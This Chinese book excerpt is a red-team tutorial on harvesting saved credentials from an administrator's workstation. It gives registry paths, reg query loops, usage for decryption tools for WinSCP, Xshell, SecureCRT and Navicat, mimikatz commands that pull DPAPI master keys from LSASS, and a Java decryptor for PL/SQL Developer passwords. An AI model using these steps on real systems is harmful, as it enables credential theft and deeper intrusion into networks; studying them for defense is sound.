点击星标,即时接收最新推文
本文选自《内网安全攻防:红队之路》
扫描二维码五折购书
内网敏感数据的发现
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。本文重点介绍如何快速定位个人计算机,并对计算机操作系统信息、浏览器登录和使用的历史记录、用户文件操作行为以及聊天软件对话内容等信息进行收集。因此,了解攻击者的操作流程,对内网数据安全防护工作至关重要。
01
获取远程管理软件保存的凭据
当我们定位并控制了一台网络管理员或者DBA的个人机后,可以分析其常用的远程管理软件,然后尝试破解其保存在软件内的凭证,从而快速获取管理员拥有的各种权限,进一步控制目标网络。
PuTTY
PuTTY是一个Windows平台的Telnet、SSH、rlogin、纯TCP以及串行接口连接软件。下载地址为:https://www.chiark.greenend.org.uk/~sgtatham/putty/。
PuTTY的连接记录保存在注册表中,默认情况下不支持保存密码:
#连接记录
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
#保存的会话
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
注册表保存的信息样例如图所示:
PuTTY注册表保存信息
我们可以使用下面的命令查看当前用户的连接记录:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
下面命令可以查看所有用户的连接记录(需要管理员权限):
for /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get sid') do reg query HKEY_USERS\%c\Software\SimonTatham\PuTTY\SshHostKeys
WinSCP
WinSCP是一个Windows环境下使用SSH协议的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。下载地址: https://winscp.net/eng/index.php
管理员如果选择了记住密码,则密码保存在注册表中或者WinSCP.ini中:
# 注册表
HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\
# 配置文件常见位置
C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系 统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统) C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统)
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)
c:\Users\%username%\documents\
注册表保存的信息,如图所示:
WinSCP注册表保存信息
我们可以使用winscppwd.exe对保存的密码进行解密,如图2-57所示,工具地址https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml
Usage:
winscppwd.exe [user host pwd|path/to/winscp.ini]
Examples:
winscppwd.exe foo example.com 0123456789ABCDEF
winscppwd.exe /tmp/winscp.ini
winscppwd.exe解密WinSCP密码
Xmangager系列产品
Xshell 是一个用于 MS Windows 平台的强大的 SSH, TELNET 和 RLOGIN 终端仿真软件。它使得用户能轻松和 安全地从 Windows PC 上访问 UniX/LinuX 主机。
Xftp 是一个用于 MS Windows 平台的强大的 FTP 和 SFTP 文件传输程序。Xftp 能安全地在 UniX/LinuX 和 Windows PC 之间传输文件。
不同版本配置文件保存路径有所不同,具体如下:
Product | Session File Location |
XShell 5 | %userprofile%\Documents\NetSarang\Xshell\Sessions |
XFtp 5 | %userprofile%\Documents\NetSarang\Xftp\Sessions |
XShell 6 | %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions |
XFtp 6 | %userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions |
对于Xmangager保存的密码,我们可以使用Xdecrypt.py进行解密,如图所示,工具下载地址为https://github.com/dzxs/Xdecrypt:
usage: Xdecrypt.py [-h] [-s SID] [-p PASSWORD]
xsh, xfp password decrypt
optional arguments:
-h, --help show this help message and exit
-s SID, --sid SID `username`+`sid`, user `whoami /user` in command.
-p PASSWORD, --password PASSWORD
the password in sessions or path of sessions
Xmangager产品密码解密
SecureCRT
Secure CRT 是一款 SSH 客户端软件,为 Windows、Mac 和 Linux 提供了终端模拟,通过先进的会话管理和 一系列节省时间和简化重复性任务的方法来提高生产力。SecureCRT 为你组织中的每个人提供安全的远程访问、文件传输和数据隧道。
SecureCRT配置文件保存路径如下:
%APPDATA%\VanDyke\Config\Sessions\sessionname.ini
# xp/Win2003
C:\Documents and Settings\%USERNAME%\Application Data\VanDyke\Config\Sessions
# Win7/win2008以上
C:\Users\%USERNAME%\AppData\Roaming\VanDyke\Config\Sessions
密文格式不同版本也有所不同:
#7.3.3之前
S:"Password"=c71bd1c86f3b804e42432f53247c50d9287f410c7e59166969acab69daa6eaadbe15c0c54c0e076e945 a6d82f9e13df2
#7.3.3之后
S:"Password V2"= 02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1 fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
对于7.x及以下版本,可以使用SecureCRTCipher.py进行解密,如图2-59所示,下载地址;https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/python3/SecureCRTCipher.py
$ ./SecureCRTCipher.py
Usage:
SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>
<enc|dec> "enc" for encryption, "dec" for decryption.
This parameter must be specified.
[-v2] Encrypt/Decrypt with "Password V2" algorithm.
This parameter is optional.
[-p ConfigPassphrase] The config passphrase that SecureCRT uses.
This parameter is optional.
<plaintext|ciphertext> Plaintext string or ciphertext string.
NOTICE: Ciphertext string must be a hex string.
This parameter must be specified.
SecureCRT 7.x以下密码解密
如果上面的脚本无法解密,也可以尝试使用另一个工具SecureCRT-decryptpass.py进行解密,如图所示,下载地址为:
https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py
使用SecureCRT-decryptpass.py解密密码
另外,对于高版本,可以把%APPDATA%\VanDyke\Config\整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。但需要注意的是版本要与目标主机使用的一致,否则可能出问题。
RDCMan
Remote Desktop Connection Manager (RDCMan) 是微软Windows Live体验团队的主要开发者 Julian Burger开发的一个远程桌面管理工具。简称为RDCMan。RDCMan可以集中管理、分类、组织远程桌面,相比Windows系统自带的远程桌面连接工具mstsc.exe要方便、省时的多。
RDCMan可以将连接的远程桌面信息保存为rdg文件。rdg文件内记录了目标IP、端口、登录所用用户名以及经过DPAPI加密的密码密文。
可以在目标主机使用mimikatz进行解密,如图所示:
在线解密RDCMan密码
也可以在获取masterkry后离线解密,如图所示:
离线解密RDCMan密码
我们可以使用Mimikatz从LSASS进程内存提取Master Key(需管理员权限),如图所示:
mimikatz.exe
privilege::debug
sekurlsa::dpapi
exit
Master Key提取
Navicat
Navicat是管理员常用的数据库工具,NavicatPremium支持MySQL,MariaDB,Oracle,SQLite, PostgreSQL和Microsoft SQL Server 多种数据库的连接。
Navicat连接凭证存储在注册表中:
Database Type | Path |
MySQL | HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ <your connection name> |
MariaDB | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ <your connection name> |
MongoDb | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\ <your connection name> |
Microsoft SQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ <your connection name> |
Oracle | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ <your connection name> |
PostgreSQL | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ <your connection name> |
SQLite | HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ <your connection name> |
注册表保存的信息样例如下,如图所示:
Navicat注册表保存信息
我们可以使用NavicatCrypto.py对保存的密码进行解密,如图2-65所示,工具下载地址为:
https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/python3/NavicatCipher.py
Usage:
NavicatCrypto.py <enc|dec> [-ncx] <plaintext|ciphertext>
<enc|dec>
[-ncx]
<plaintext|ciphertext>
"enc" for encryption, "dec" for decryption.
This parameter must be specified.
Indicate that plaintext/ciphertext is
prepared for/exported from NCX file.
This parameter is optional.
Plaintext string or ciphertext string.
NOTICE: Ciphertext string must be a hex string.
This parameter must be specified.
Navicat密码解密
PL/SQL Developer
PL/SQL Developer是一个集成开发环境,专门面向Oracle数据库存储程序单元的开发。如今,有越来越多的 商业逻辑和应用逻辑转向了Oracle Server,因此,PL/SQL编程也成了整个开发过程的一个重要组成部分。PL/SQL Developer侧重于易用性、代码品质和生产力,充分发挥Oracle应用程序开发过程中的主要优势。
PL/SQL Developer的凭据保存在如下路径的user.prefs文件的 [LogonHistory] 信息中:
C:\Users\%username%\AppData\Roaming\PLSQL Developer\Preferences\%username%\
C:\Program Files\PLSQL Developer\Preferences\%username%\
C:\Program Files (x86)\PLSQL Developer\Preferences\%username%\
每一行即为一个登录信息,这些信息是加密的,其明文格式如下为 username/password@server。
对于PL/SQL Developer的密码,我们可以使用下面的脚本进行解密,如图所示:
import java.util.ArrayList;
public class decrypt {
public static void decryptPassword(){
String cryptText = "27364466441245823088463445483550317630583164315848803226352432463480326634363286";
String plainText = "";
ArrayList<Integer> values = new ArrayList<Integer>();
for (int i = 0; i < cryptText.length(); i+= 4){
values.add(Integer.parseInt((cryptText.substring(i, i + 4))));
}
int key = values.get(0);
values.remove(0);
for (int i = 0; i < values.size(); i++) {
int val = values.get(i) - 1000;
int mask = key + (10 * (i + 1));
int res = (val ^ mask) >> 4;
plainText += Character.toString((char)(res));
}
System.out.println("plainText:"+plainText);
}
public static void main(String[] args) {
decryptPassword();
}
}
PL/SQL Developer密码解密
— 实验室旗下直播培训课程 —
和20000+位同学加入MS08067一起学习